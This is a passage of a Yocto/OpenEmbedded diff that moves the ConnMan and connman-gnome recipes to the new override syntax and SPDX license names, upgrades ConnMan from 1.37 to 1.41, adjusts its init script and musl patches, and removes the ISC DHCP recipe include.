@@ -1,7 +1,7 @@
SUMMARY = "GTK+ frontend for the ConnMan network connection manager"
HOMEPAGE = "http://connman.net/"
SECTION = "libs/network"
-LICENSE = "GPLv2 & LGPLv2.1"
+LICENSE = "GPL-2.0-only & LGPL-2.1-only"
LIC_FILES_CHKSUM = "file://COPYING;md5=eb723b61539feef013de476e68b5c50a \
file://properties/main.c;beginline=1;endline=20;md5=50c77c81871308b033ab7a1504626afb \
file://common/connman-dbus.c;beginline=1;endline=20;md5=de6b485c0e717a0236402d220187717a"
@@ -10,21 +10,21 @@ DEPENDS = "gtk+3 dbus-glib dbus-glib-native intltool-native gettext-native"
# 0.7 tag
SRCREV = "cf3c325b23dae843c5499a113591cfbc98acb143"
-SRC_URI = "git://github.com/connectivity/connman-gnome.git \
+SRC_URI = "git://github.com/connectivity/connman-gnome.git;branch=master;protocol=https \
file://0001-Removed-icon-from-connman-gnome-about-applet.patch \
file://null_check_for_ipv4_config.patch \
- file://images/* \
+ file://images/ \
file://connman-gnome-fix-dbus-interface-name.patch \
file://0001-Port-to-Gtk3.patch \
"
S = "${WORKDIR}/git"
-inherit autotools-brokensep gtk-icon-cache pkgconfig distro_features_check
+inherit autotools-brokensep gtk-icon-cache pkgconfig features_check
ANY_OF_DISTRO_FEATURES = "${GTK3DISTROFEATURES}"
-RDEPENDS_${PN} = "connman"
+RDEPENDS:${PN} = "connman"
-do_install_append() {
+do_install:append() {
install -m 0644 ${WORKDIR}/images/* ${D}/usr/share/icons/hicolor/22x22/apps/
}
diff --git a/meta/recipes-connectivity/connman/connman.inc b/meta/recipes-connectivity/connman/connman.inc
index fb38ab4fc1..5880ecd5d4 100644
--- a/meta/recipes-connectivity/connman/connman.inc
+++ b/meta/recipes-connectivity/connman/connman.inc
@@ -9,15 +9,15 @@ configuration methods, like DHCP and domain name resolving, are \
implemented using plug-ins."
HOMEPAGE = "http://connman.net/"
BUGTRACKER = "https://01.org/jira/browse/CM"
-LICENSE = "GPLv2"
+LICENSE = "GPL-2.0-only"
LIC_FILES_CHKSUM = "file://COPYING;md5=12f884d2ae1ff87c09e5b7ccc2c4ca7e \
file://src/main.c;beginline=1;endline=20;md5=486a279a6ab0c8d152bcda3a5b5edc36"
inherit autotools pkgconfig systemd update-rc.d update-alternatives
-DEPENDS = "dbus glib-2.0 ppp readline"
+CVE_PRODUCT = "connman connection_manager"
-INC_PR = "r20"
+DEPENDS = "dbus glib-2.0 ppp"
EXTRA_OECONF += "\
ac_cv_path_WPASUPPLICANT=${sbindir}/wpa_supplicant \
@@ -27,20 +27,18 @@ EXTRA_OECONF += "\
--enable-ethernet \
--enable-tools \
--disable-polkit \
- --enable-client \
"
-PACKAGECONFIG ??= "wispr \
+PACKAGECONFIG ??= "wispr iptables client\
${@bb.utils.filter('DISTRO_FEATURES', '3g systemd wifi', d)} \
${@bb.utils.contains('DISTRO_FEATURES', 'bluetooth', 'bluez', '', d)} \
- iptables \
"
# If you want ConnMan to support VPN, add following statement into
# local.conf or distro config
-# PACKAGECONFIG_append_pn-connman = " openvpn vpnc l2tp pptp"
+# PACKAGECONFIG:append:pn-connman = " openvpn vpnc l2tp pptp"
-PACKAGECONFIG[systemd] = "--with-systemdunitdir=${systemd_unitdir}/system/ --with-tmpfilesdir=${sysconfdir}/tmpfiles.d/,--with-systemdunitdir='' --with-tmpfilesdir=''"
+PACKAGECONFIG[systemd] = "--with-systemdunitdir=${systemd_system_unitdir}/ --with-tmpfilesdir=${sysconfdir}/tmpfiles.d/,--with-systemdunitdir='' --with-tmpfilesdir=''"
PACKAGECONFIG[wifi] = "--enable-wifi, --disable-wifi, wpa-supplicant, wpa-supplicant"
PACKAGECONFIG[bluez] = "--enable-bluetooth, --disable-bluetooth, bluez5, bluez5"
PACKAGECONFIG[3g] = "--enable-ofono, --disable-ofono, ofono, ofono"
@@ -51,9 +49,11 @@ PACKAGECONFIG[l2tp] = "--enable-l2tp --with-l2tp=${sbindir}/xl2tpd,--disable-l2t
PACKAGECONFIG[pptp] = "--enable-pptp --with-pptp=${sbindir}/pptp,--disable-pptp,,pptp-linux"
# WISPr support for logging into hotspots, requires TLS
PACKAGECONFIG[wispr] = "--enable-wispr,--disable-wispr,gnutls,"
-PACKAGECONFIG[nftables] = "--with-firewall=nftables ,,libmnl libnftnl,,kernel-module-nf-tables-ipv4 kernel-module-nft-chain-nat-ipv4 kernel-module-nft-chain-route-ipv4 kernel-module-nft-meta kernel-module-nft-masq-ipv4 kernel-module-nft-nat"
+PACKAGECONFIG[nftables] = "--with-firewall=nftables ,,libmnl libnftnl,,kernel-module-nf-tables kernel-module-nft-chain-nat-ipv4 kernel-module-nft-chain-route-ipv4 kernel-module-nft-masq-ipv4 kernel-module-nft-nat"
PACKAGECONFIG[iptables] = "--with-firewall=iptables ,,iptables,iptables"
PACKAGECONFIG[nfc] = "--enable-neard, --disable-neard, neard, neard"
+PACKAGECONFIG[client] = "--enable-client,--disable-client,readline"
+PACKAGECONFIG[wireguard] = "--enable-wireguard,--disable-wireguard,libmnl"
INITSCRIPT_NAME = "connman"
INITSCRIPT_PARAMS = "start 05 5 2 3 . stop 22 0 1 6 ."
@@ -66,16 +66,16 @@ python __anonymous () {
d.setVar('SYSTEMD_PACKAGES', systemd_packages)
}
-SYSTEMD_SERVICE_${PN} = "connman.service"
-SYSTEMD_SERVICE_${PN}-vpn = "connman-vpn.service"
-SYSTEMD_SERVICE_${PN}-wait-online = "connman-wait-online.service"
+SYSTEMD_SERVICE:${PN} = "connman.service"
+SYSTEMD_SERVICE:${PN}-vpn = "connman-vpn.service"
+SYSTEMD_SERVICE:${PN}-wait-online = "connman-wait-online.service"
ALTERNATIVE_PRIORITY = "100"
-ALTERNATIVE_${PN} = "${@bb.utils.contains('DISTRO_FEATURES','systemd','resolv-conf','',d)}"
+ALTERNATIVE:${PN} = "${@bb.utils.contains('DISTRO_FEATURES','systemd','resolv-conf','',d)}"
ALTERNATIVE_TARGET[resolv-conf] = "${@bb.utils.contains('DISTRO_FEATURES','systemd','${sysconfdir}/resolv-conf.connman','',d)}"
ALTERNATIVE_LINK_NAME[resolv-conf] = "${@bb.utils.contains('DISTRO_FEATURES','systemd','${sysconfdir}/resolv.conf','',d)}"
-do_install_append() {
+do_install:append() {
if ${@bb.utils.contains('DISTRO_FEATURES','sysvinit','true','false',d)}; then
install -d ${D}${sysconfdir}/init.d
install -m 0755 ${WORKDIR}/connman ${D}${sysconfdir}/init.d/connman
@@ -87,7 +87,6 @@ do_install_append() {
if [ -e ${B}/tools/wispr ]; then
install -m 0755 ${B}/tools/wispr ${D}${bindir}
fi
- install -m 0755 ${B}/client/connmanctl ${D}${bindir}
# We don't need to package an empty directory
rmdir --ignore-fail-on-non-empty ${D}${libdir}/connman/scripts
@@ -103,7 +102,7 @@ do_install_append() {
}
# These used to be plugins, but now they are core
-RPROVIDES_${PN} = "\
+RPROVIDES:${PN} = "\
connman-plugin-loopback \
connman-plugin-ethernet \
${@bb.utils.contains('PACKAGECONFIG', 'bluetooth','connman-plugin-bluetooth', '', d)} \
@@ -111,7 +110,7 @@ RPROVIDES_${PN} = "\
${@bb.utils.contains('PACKAGECONFIG', '3g','connman-plugin-ofono', '', d)} \
"
-RDEPENDS_${PN} = "\
+RDEPENDS:${PN} = "\
dbus \
"
@@ -122,11 +121,11 @@ def add_rdepends(bb, d, file, pkg, depmap, multilib_prefix, add_insane_skip):
if plugintype in depmap:
rdepends = map(lambda x: multilib_prefix + x, \
depmap[plugintype].split())
- d.setVar("RDEPENDS_%s" % pkg, " ".join(rdepends))
+ d.setVar("RDEPENDS:%s" % pkg, " ".join(rdepends))
if add_insane_skip:
- d.appendVar("INSANE_SKIP_%s" % pkg, "dev-so")
+ d.appendVar("INSANE_SKIP:%s" % pkg, "dev-so")
-python populate_packages_prepend() {
+python populate_packages:prepend() {
depmap = dict(pppd="ppp")
multilib_prefix = (d.getVar("MLPREFIX") or "")
@@ -147,71 +146,72 @@ python populate_packages_prepend() {
PACKAGES =+ "${PN}-tools ${PN}-tests ${PN}-client"
-FILES_${PN}-tools = "${bindir}/wispr"
-RDEPENDS_${PN}-tools ="${PN}"
+FILES:${PN}-tools = "${bindir}/wispr"
+RDEPENDS:${PN}-tools ="${PN}"
-FILES_${PN}-tests = "${bindir}/*-test"
+FILES:${PN}-tests = "${bindir}/*-test"
-FILES_${PN}-client = "${bindir}/connmanctl"
-RDEPENDS_${PN}-client ="${PN}"
+FILES:${PN}-client = "${bindir}/connmanctl"
+RDEPENDS:${PN}-client ="${PN}"
-FILES_${PN} = "${bindir}/* ${sbindir}/* ${libexecdir}/* ${libdir}/lib*.so.* \
+FILES:${PN} = "${bindir}/* ${sbindir}/* ${libexecdir}/* ${libdir}/lib*.so.* \
${libdir}/connman/plugins \
${sysconfdir} ${sharedstatedir} ${localstatedir} ${datadir} \
${base_bindir}/* ${base_sbindir}/* ${base_libdir}/*.so* ${datadir}/${PN} \
${datadir}/dbus-1/system-services/* \
${sysconfdir}/tmpfiles.d/connman_resolvconf.conf"
-FILES_${PN}-dev += "${libdir}/connman/*/*.la"
+FILES:${PN}-dev += "${libdir}/connman/*/*.la"
PACKAGES =+ "${PN}-vpn ${PN}-wait-online"
-SUMMARY_${PN}-vpn = "A daemon for managing VPN connections within embedded devices"
-DESCRIPTION_${PN}-vpn = "The ConnMan VPN provides a daemon for \
+SUMMARY:${PN}-vpn = "A daemon for managing VPN connections within embedded devices"
+DESCRIPTION:${PN}-vpn = "The ConnMan VPN provides a daemon for \
managing VPN connections within embedded devices running the Linux \
operating system. The connman-vpnd handles all the VPN connections \
and starts/stops VPN client processes when necessary. The connman-vpnd \
provides a DBus API for managing VPN connections. All the different \
VPN technogies are implemented using plug-ins."
-FILES_${PN}-vpn += "${sbindir}/connman-vpnd \
+FILES:${PN}-vpn += "${sbindir}/connman-vpnd \
${sysconfdir}/dbus-1/system.d/connman-vpn-dbus.conf \
${datadir}/dbus-1/system-services/net.connman.vpn.service \
- ${systemd_unitdir}/system/connman-vpn.service"
+ ${systemd_system_unitdir}/connman-vpn.service"
-SUMMARY_${PN}-wait-online = "A program that will return once ConnMan has connected to a network"
-DESCRIPTION_${PN}-wait-online = "A service that can be enabled so that \
+SUMMARY:${PN}-wait-online = "A program that will return once ConnMan has connected to a network"
+DESCRIPTION:${PN}-wait-online = "A service that can be enabled so that \
the system waits until a network connection is established."
-FILES_${PN}-wait-online += "${sbindir}/connmand-wait-online \
- ${systemd_unitdir}/system/connman-wait-online.service"
+FILES:${PN}-wait-online += "${sbindir}/connmand-wait-online \
+ ${systemd_system_unitdir}/connman-wait-online.service"
-SUMMARY_${PN}-plugin-vpn-openvpn = "An OpenVPN plugin for ConnMan VPN"
-DESCRIPTION_${PN}-plugin-vpn-openvpn = "The ConnMan OpenVPN plugin uses openvpn client \
+SUMMARY:${PN}-plugin-vpn-openvpn = "An OpenVPN plugin for ConnMan VPN"
+DESCRIPTION:${PN}-plugin-vpn-openvpn = "The ConnMan OpenVPN plugin uses openvpn client \
to create a VPN connection to OpenVPN server."
-FILES_${PN}-plugin-vpn-openvpn += "${libdir}/connman/scripts/openvpn-script \
+FILES:${PN}-plugin-vpn-openvpn += "${libdir}/connman/scripts/openvpn-script \
${libdir}/connman/plugins-vpn/openvpn.so"
-RDEPENDS_${PN}-plugin-vpn-openvpn += "${PN}-vpn"
-RRECOMMENDS_${PN} += "${@bb.utils.contains('PACKAGECONFIG','openvpn','${PN}-plugin-vpn-openvpn', '', d)}"
+RDEPENDS:${PN}-plugin-vpn-openvpn += "${PN}-vpn"
+RRECOMMENDS:${PN} += "${@bb.utils.contains('PACKAGECONFIG','openvpn','${PN}-plugin-vpn-openvpn', '', d)}"
-SUMMARY_${PN}-plugin-vpn-vpnc = "A vpnc plugin for ConnMan VPN"
-DESCRIPTION_${PN}-plugin-vpn-vpnc = "The ConnMan vpnc plugin uses vpnc client \
+SUMMARY:${PN}-plugin-vpn-vpnc = "A vpnc plugin for ConnMan VPN"
+DESCRIPTION:${PN}-plugin-vpn-vpnc = "The ConnMan vpnc plugin uses vpnc client \
to create a VPN connection to Cisco3000 VPN Concentrator."
-FILES_${PN}-plugin-vpn-vpnc += "${libdir}/connman/scripts/openconnect-script \
- ${libdir}/connman/plugins-vpn/vpnc.so"
-RDEPENDS_${PN}-plugin-vpn-vpnc += "${PN}-vpn"
-RRECOMMENDS_${PN} += "${@bb.utils.contains('PACKAGECONFIG','vpnc','${PN}-plugin-vpn-vpnc', '', d)}"
-
-SUMMARY_${PN}-plugin-vpn-l2tp = "A L2TP plugin for ConnMan VPN"
-DESCRIPTION_${PN}-plugin-vpn-l2tp = "The ConnMan L2TP plugin uses xl2tpd daemon \
+FILES:${PN}-plugin-vpn-vpnc += "${libdir}/connman/scripts/openconnect-script \
+ ${libdir}/connman/plugins-vpn/vpnc.so \
+ ${libdir}/connman/scripts/vpn-script"
+RDEPENDS:${PN}-plugin-vpn-vpnc += "${PN}-vpn"
+RRECOMMENDS:${PN} += "${@bb.utils.contains('PACKAGECONFIG','vpnc','${PN}-plugin-vpn-vpnc', '', d)}"
+
+SUMMARY:${PN}-plugin-vpn-l2tp = "A L2TP plugin for ConnMan VPN"
+DESCRIPTION:${PN}-plugin-vpn-l2tp = "The ConnMan L2TP plugin uses xl2tpd daemon \
to create a VPN connection to L2TP server."
-FILES_${PN}-plugin-vpn-l2tp += "${libdir}/connman/scripts/libppp-plugin.so* \
+FILES:${PN}-plugin-vpn-l2tp += "${libdir}/connman/scripts/libppp-plugin.so* \
${libdir}/connman/plugins-vpn/l2tp.so"
-RDEPENDS_${PN}-plugin-vpn-l2tp += "${PN}-vpn"
-RRECOMMENDS_${PN} += "${@bb.utils.contains('PACKAGECONFIG','l2tp','${PN}-plugin-vpn-l2tp', '', d)}"
+RDEPENDS:${PN}-plugin-vpn-l2tp += "${PN}-vpn"
+RRECOMMENDS:${PN} += "${@bb.utils.contains('PACKAGECONFIG','l2tp','${PN}-plugin-vpn-l2tp', '', d)}"
-SUMMARY_${PN}-plugin-vpn-pptp = "A PPTP plugin for ConnMan VPN"
-DESCRIPTION_${PN}-plugin-vpn-pptp = "The ConnMan PPTP plugin uses pptp-linux client \
+SUMMARY:${PN}-plugin-vpn-pptp = "A PPTP plugin for ConnMan VPN"
+DESCRIPTION:${PN}-plugin-vpn-pptp = "The ConnMan PPTP plugin uses pptp-linux client \
to create a VPN connection to PPTP server."
-FILES_${PN}-plugin-vpn-pptp += "${libdir}/connman/scripts/libppp-plugin.so* \
+FILES:${PN}-plugin-vpn-pptp += "${libdir}/connman/scripts/libppp-plugin.so* \
${libdir}/connman/plugins-vpn/pptp.so"
-RDEPENDS_${PN}-plugin-vpn-pptp += "${PN}-vpn"
-RRECOMMENDS_${PN} += "${@bb.utils.contains('PACKAGECONFIG','pptp','${PN}-plugin-vpn-pptp', '', d)}"
+RDEPENDS:${PN}-plugin-vpn-pptp += "${PN}-vpn"
+RRECOMMENDS:${PN} += "${@bb.utils.contains('PACKAGECONFIG','pptp','${PN}-plugin-vpn-pptp', '', d)}"
diff --git a/meta/recipes-connectivity/connman/connman/0001-gweb-fix-segfault-with-musl-v1.1.21.patch b/meta/recipes-connectivity/connman/connman/0001-gweb-fix-segfault-with-musl-v1.1.21.patch
deleted file mode 100644
index 30f1432cd3..0000000000
--- a/meta/recipes-connectivity/connman/connman/0001-gweb-fix-segfault-with-musl-v1.1.21.patch
+++ /dev/null
@@ -1,34 +0,0 @@
-From f0a8c69971b30ea7ca255bb885fdd1179fa5d298 Mon Sep 17 00:00:00 2001
-From: Nicola Lunghi <nick83ola@gmail.com>
-Date: Thu, 23 May 2019 07:55:25 +0100
-Subject: [PATCH] gweb: fix segfault with musl v1.1.21
-
-In musl > v1.1.21 freeaddrinfo() implementation changed and
-was causing a segmentation fault on recent Yocto using musl.
-
-See this commit:
-
- https://git.musl-libc.org/cgit/musl/commit/src/network/freeaddrinfo.c?id=d1395c43c019aec6b855cf3c656bf47c8a719e7f
-
-Upstream-Status: Submitted
----
- gweb/gweb.c | 3 ++-
- 1 file changed, 2 insertions(+), 1 deletion(-)
-
-diff --git a/gweb/gweb.c b/gweb/gweb.c
-index 393afe0a..12fcb1d8 100644
---- a/gweb/gweb.c
-+++ b/gweb/gweb.c
-@@ -1274,7 +1274,8 @@ static bool is_ip_address(const char *host)
- addr = NULL;
-
- result = getaddrinfo(host, NULL, &hints, &addr);
-- freeaddrinfo(addr);
-+ if(!result)
-+ freeaddrinfo(addr);
-
- return result == 0;
- }
---
-2.19.1
-
diff --git a/meta/recipes-connectivity/connman/connman/0002-resolve-musl-does-not-implement-res_ninit.patch b/meta/recipes-connectivity/connman/connman/0002-resolve-musl-does-not-implement-res_ninit.patch
index 639ccfa2a2..9dca21a02f 100644
--- a/meta/recipes-connectivity/connman/connman/0002-resolve-musl-does-not-implement-res_ninit.patch
+++ b/meta/recipes-connectivity/connman/connman/0002-resolve-musl-does-not-implement-res_ninit.patch
@@ -1,7 +1,7 @@
-From 10b0d16d04b811b1ccd1f9b0cfe757bce8d876a1 Mon Sep 17 00:00:00 2001
+From 01974865e4d331eeaf25248bee1bb96539c450d9 Mon Sep 17 00:00:00 2001
From: Khem Raj <raj.khem@gmail.com>
Date: Mon, 6 Apr 2015 23:02:21 -0700
-Subject: [PATCH 2/3] resolve: musl does not implement res_ninit
+Subject: [PATCH] resolve: musl does not implement res_ninit
ported from
http://git.alpinelinux.org/cgit/aports/plain/testing/connman/libresolv.patch
@@ -9,12 +9,13 @@ http://git.alpinelinux.org/cgit/aports/plain/testing/connman/libresolv.patch
Upstream-Status: Pending
Signed-off-by: Khem Raj <raj.khem@gmail.com>
+
---
- gweb/gresolv.c | 33 ++++++++++++---------------------
- 1 file changed, 12 insertions(+), 21 deletions(-)
+ gweb/gresolv.c | 34 +++++++++++++---------------------
+ 1 file changed, 13 insertions(+), 21 deletions(-)
diff --git a/gweb/gresolv.c b/gweb/gresolv.c
-index 5cf7a9a..3ad8e70 100644
+index 954e7cf..2a9bc51 100644
--- a/gweb/gresolv.c
+++ b/gweb/gresolv.c
@@ -36,6 +36,7 @@
@@ -25,7 +26,7 @@ index 5cf7a9a..3ad8e70 100644
#include "gresolv.h"
-@@ -875,8 +875,6 @@ GResolv *g_resolv_new(int index)
+@@ -878,8 +879,6 @@ GResolv *g_resolv_new(int index)
resolv->index = index;
resolv->nameserver_list = NULL;
@@ -34,7 +35,7 @@ index 5cf7a9a..3ad8e70 100644
return resolv;
}
-@@ -916,8 +914,6 @@ void g_resolv_unref(GResolv *resolv)
+@@ -919,8 +918,6 @@ void g_resolv_unref(GResolv *resolv)
flush_nameservers(resolv);
@@ -43,7 +44,7 @@ index 5cf7a9a..3ad8e70 100644
g_free(resolv);
}
-@@ -1020,24 +1016,19 @@ guint g_resolv_lookup_hostname(GResolv *resolv, const char *hostname,
+@@ -1023,24 +1020,19 @@ guint g_resolv_lookup_hostname(GResolv *resolv, const char *hostname,
debug(resolv, "hostname %s", hostname);
if (!resolv->nameserver_list) {
@@ -80,6 +81,3 @@ index 5cf7a9a..3ad8e70 100644
}
if (!resolv->nameserver_list)
---
-2.5.1
-
diff --git a/meta/recipes-connectivity/connman/connman/connman b/meta/recipes-connectivity/connman/connman/connman
index c64fa0d715..310a696863 100644
--- a/meta/recipes-connectivity/connman/connman/connman
+++ b/meta/recipes-connectivity/connman/connman/connman
@@ -27,7 +27,6 @@ while read dev mtpt fstype rest; do
done
do_start() {
- EXTRA_PARAM=""
if test $nfsroot -eq 1 ; then
NET_DEVS=`cat /proc/net/dev | sed -ne 's/^\([a-zA-Z0-9 ]*\):.*$/\1/p'`
NET_ADDR=`cat /proc/cmdline | sed -ne 's/^.*ip=\([^ :]*\).*$/\1/p'`
@@ -36,13 +35,13 @@ do_start() {
if [ "$NET_ADDR" = dhcp ]; then
ethn=`ifconfig | grep "^eth" | sed -e "s/\(eth[0-9]\)\(.*\)/\1/"`
if [ ! -z "$ethn" ]; then
- EXTRA_PARAM="-I $ethn"
+ EXTRA_PARAM="$EXTRA_PARAM -I $ethn"
fi
else
for i in $NET_DEVS; do
ADDR=`ifconfig $i | sed 's/addr://g' | sed -ne 's/^.*inet \([0-9.]*\) .*$/\1/p'`
if [ "$NET_ADDR" = "$ADDR" ]; then
- EXTRA_PARAM="-I $i"
+ EXTRA_PARAM="$EXTRA_PARAM -I $i"
break
fi
done
diff --git a/meta/recipes-connectivity/connman/connman_1.37.bb b/meta/recipes-connectivity/connman/connman_1.37.bb
deleted file mode 100644
index 00852bf0d6..0000000000
--- a/meta/recipes-connectivity/connman/connman_1.37.bb
+++ /dev/null
@@ -1,17 +0,0 @@
-require connman.inc
-
-SRC_URI = "${KERNELORG_MIRROR}/linux/network/${BPN}/${BP}.tar.xz \
- file://0001-plugin.h-Change-visibility-to-default-for-debug-symb.patch \
- file://0001-connman.service-stop-systemd-resolved-when-we-use-co.patch \
- file://0001-gweb-fix-segfault-with-musl-v1.1.21.patch \
- file://connman \
- file://no-version-scripts.patch \
-"
-
-SRC_URI_append_libc-musl = " file://0002-resolve-musl-does-not-implement-res_ninit.patch"
-
-SRC_URI[md5sum] = "75012084f14fb63a84b116e66c6e94fb"
-SRC_URI[sha256sum] = "6ce29b3eb0bb16a7387bc609c39455fd13064bdcde5a4d185fab3a0c71946e16"
-
-RRECOMMENDS_${PN} = "connman-conf"
-RCONFLICTS_${PN} = "networkmanager"
diff --git a/meta/recipes-connectivity/connman/connman_1.41.bb b/meta/recipes-connectivity/connman/connman_1.41.bb
new file mode 100644
index 0000000000..736b78eaeb
--- /dev/null
+++ b/meta/recipes-connectivity/connman/connman_1.41.bb
@@ -0,0 +1,15 @@
+require connman.inc
+
+SRC_URI = "${KERNELORG_MIRROR}/linux/network/${BPN}/${BP}.tar.xz \
+ file://0001-plugin.h-Change-visibility-to-default-for-debug-symb.patch \
+ file://0001-connman.service-stop-systemd-resolved-when-we-use-co.patch \
+ file://connman \
+ file://no-version-scripts.patch \
+ "
+
+SRC_URI:append:libc-musl = " file://0002-resolve-musl-does-not-implement-res_ninit.patch"
+
+SRC_URI[sha256sum] = "79fb40f4fdd5530c45aa8e592fb16ba23d3674f3a98cf10b89a6576f198de589"
+
+RRECOMMENDS:${PN} = "connman-conf"
+RCONFLICTS:${PN} = "networkmanager"
diff --git a/meta/recipes-connectivity/dhcp/dhcp.inc b/meta/recipes-connectivity/dhcp/dhcp.inc
deleted file mode 100644
index c4697beaf1..0000000000
--- a/meta/recipes-connectivity/dhcp/dhcp.inc
+++ /dev/null
@@ -1,148 +0,0 @@
-SECTION = "console/network"
-SUMMARY = "Internet Software Consortium DHCP package"
-DESCRIPTION = "DHCP (Dynamic Host Configuration Protocol) is a protocol \
-which allows individual devices on an IP network to get their own \
-network configuration information from a server. DHCP helps make it \
-easier to administer devices."
-
-HOMEPAGE = "http://www.isc.org/"
-
-LICENSE = "ISC"
-LIC_FILES_CHKSUM = "file://LICENSE;beginline=4;md5=004a4db50a1e20972e924a8618747c01"
-
-DEPENDS = "openssl bind"
-
-SRC_URI = "http://ftp.isc.org/isc/dhcp/${PV}/dhcp-${PV}.tar.gz \
- file://init-relay file://default-relay \
- file://init-server file://default-server \
- file://dhclient.conf file://dhcpd.conf \
- file://dhclient-systemd-wrapper \
- file://dhclient.service \
- file://dhcpd.service file://dhcrelay.service \
- file://dhcpd6.service \
- "
-UPSTREAM_CHECK_URI = "http://ftp.isc.org/isc/dhcp/"
-UPSTREAM_CHECK_REGEX = "(?P<pver>\d+\.\d+\.(\d+?))/"
-
-inherit autotools-brokensep systemd useradd update-rc.d
-
-USERADD_PACKAGES = "${PN}-server"
-USERADD_PARAM_${PN}-server = "--system --no-create-home --home-dir /var/run/${BPN} --shell /bin/false --user-group ${BPN}"
-
-SYSTEMD_PACKAGES = "${PN}-server ${PN}-relay ${PN}-client"
-SYSTEMD_SERVICE_${PN}-server = "dhcpd.service dhcpd6.service"
-SYSTEMD_AUTO_ENABLE_${PN}-server = "disable"
-
-SYSTEMD_SERVICE_${PN}-relay = "dhcrelay.service"
-SYSTEMD_AUTO_ENABLE_${PN}-relay = "disable"
-
-SYSTEMD_SERVICE_${PN}-client = "dhclient.service"
-SYSTEMD_AUTO_ENABLE_${PN}-client = "disable"
-
-INITSCRIPT_PACKAGES = "dhcp-server"
-INITSCRIPT_NAME_dhcp-server = "dhcp-server"
-INITSCRIPT_PARAMS_dhcp-server = "defaults"
-
-CFLAGS += "-D_GNU_SOURCE"
-EXTRA_OECONF = "--with-srv-lease-file=${localstatedir}/lib/dhcp/dhcpd.leases \
- --with-srv6-lease-file=${localstatedir}/lib/dhcp/dhcpd6.leases \
- --with-cli-lease-file=${localstatedir}/lib/dhcp/dhclient.leases \
- --with-cli6-lease-file=${localstatedir}/lib/dhcp/dhclient6.leases \
- --enable-paranoia --disable-static \
- --with-randomdev=/dev/random \
- --with-libbind=${STAGING_DIR_HOST} \
- --enable-libtool \
- "
-
-#Enable shared libs per dhcp README
-do_configure_prepend () {
- cp configure.ac+lt configure.ac
-}
-
-do_install_append () {
- install -d ${D}${sysconfdir}/init.d
- install -d ${D}${sysconfdir}/default
- install -d ${D}${sysconfdir}/dhcp
- install -m 0755 ${WORKDIR}/init-relay ${D}${sysconfdir}/init.d/dhcp-relay
- install -m 0644 ${WORKDIR}/default-relay ${D}${sysconfdir}/default/dhcp-relay
- install -m 0755 ${WORKDIR}/init-server ${D}${sysconfdir}/init.d/dhcp-server
- install -m 0644 ${WORKDIR}/default-server ${D}${sysconfdir}/default/dhcp-server
-
- rm -f ${D}${sysconfdir}/dhclient.conf*
- rm -f ${D}${sysconfdir}/dhcpd.conf*
- install -m 0644 ${WORKDIR}/dhclient.conf ${D}${sysconfdir}/dhcp/dhclient.conf
- install -m 0644 ${WORKDIR}/dhcpd.conf ${D}${sysconfdir}/dhcp/dhcpd.conf
-
- install -d ${D}${base_sbindir}/
- if [ "${sbindir}" != "${base_sbindir}" ]; then
- mv ${D}${sbindir}/dhclient ${D}${base_sbindir}/
- fi
- install -m 0755 ${S}/client/scripts/linux ${D}${base_sbindir}/dhclient-script
-
- # Install systemd unit files
- install -d ${D}${systemd_unitdir}/system
- install -m 0644 ${WORKDIR}/dhcpd.service ${D}${systemd_unitdir}/system
- install -m 0644 ${WORKDIR}/dhcpd6.service ${D}${systemd_unitdir}/system
- install -m 0644 ${WORKDIR}/dhcrelay.service ${D}${systemd_unitdir}/system
- sed -i -e 's,@SBINDIR@,${sbindir},g' ${D}${systemd_unitdir}/system/dhcpd*.service ${D}${systemd_unitdir}/system/dhcrelay.service
- sed -i -e 's,@SYSCONFDIR@,${sysconfdir},g' ${D}${systemd_unitdir}/system/dhcpd*.service
- sed -i -e 's,@base_bindir@,${base_bindir},g' ${D}${systemd_unitdir}/system/dhcpd*.service
- sed -i -e 's,@localstatedir@,${localstatedir},g' ${D}${systemd_unitdir}/system/dhcpd*.service
- sed -i -e 's,@SYSCONFDIR@,${sysconfdir},g' ${D}${systemd_unitdir}/system/dhcrelay.service
-
- install -d ${D}${base_sbindir}
- install -m 0755 ${WORKDIR}/dhclient-systemd-wrapper ${D}${base_sbindir}/dhclient-systemd-wrapper
- install -m 0644 ${WORKDIR}/dhclient.service ${D}${systemd_unitdir}/system
- sed -i -e 's,@SYSCONFDIR@,${sysconfdir},g' ${D}${systemd_unitdir}/system/dhclient.service
- sed -i -e 's,@BASE_SBINDIR@,${base_sbindir},g' ${D}${systemd_unitdir}/system/dhclient.service
-}
-
-PACKAGES += "dhcp-libs dhcp-server dhcp-server-config dhcp-client dhcp-relay dhcp-omshell"
-
-PACKAGES_remove = "${PN}"
-RDEPENDS_${PN}-dev = ""
-RDEPENDS_${PN}-staticdev = ""
-FILES_${PN}-libs = "${libdir}/libdhcpctl.so.0* ${libdir}/libomapi.so.0* ${libdir}/libdhcp.so.0*"
-
-FILES_${PN}-server = "${sbindir}/dhcpd ${sysconfdir}/init.d/dhcp-server"
-RRECOMMENDS_${PN}-server = "dhcp-server-config"
-
-FILES_${PN}-server-config = "${sysconfdir}/default/dhcp-server ${sysconfdir}/dhcp/dhcpd.conf"
-
-FILES_${PN}-relay = "${sbindir}/dhcrelay ${sysconfdir}/init.d/dhcp-relay ${sysconfdir}/default/dhcp-relay"
-
-FILES_${PN}-client = "${base_sbindir}/dhclient \
- ${base_sbindir}/dhclient-script \
- ${sysconfdir}/dhcp/dhclient.conf \
- ${base_sbindir}/dhclient-systemd-wrapper \
- "
-
-FILES_${PN}-omshell = "${bindir}/omshell"
-
-pkg_postinst_dhcp-server() {
- mkdir -p $D/${localstatedir}/lib/dhcp
- touch $D/${localstatedir}/lib/dhcp/dhcpd.leases
- touch $D/${localstatedir}/lib/dhcp/dhcpd6.leases
-}
-
-pkg_postinst_dhcp-client() {
- mkdir -p $D/${localstatedir}/lib/dhcp
-}
-
-pkg_postrm_dhcp-server() {
- rm -f $D/${localstatedir}/lib/dhcp/dhcpd.leases
- rm -f $D/${localstatedir}/lib/dhcp/dhcpd6.leases
-
- if ! rmdir $D/${localstatedir}/lib/dhcp 2>/dev/null; then
- echo "Not removing ${localstatedir}/lib/dhcp as it is non-empty."
- fi
-}
-
-pkg_postrm_dhcp-client() {
- rm -f $D/${localstatedir}/lib/dhcp/dhclient.leases
- rm -f $D/${localstatedir}/lib/dhcp/dhclient6.leases
-
- if ! rmdir $D/${localstatedir}/lib/dhcp 2>/dev/null; then
- echo "Not removing ${localstatedir}/lib/dhcp as it is non-empty."
- fi
-}
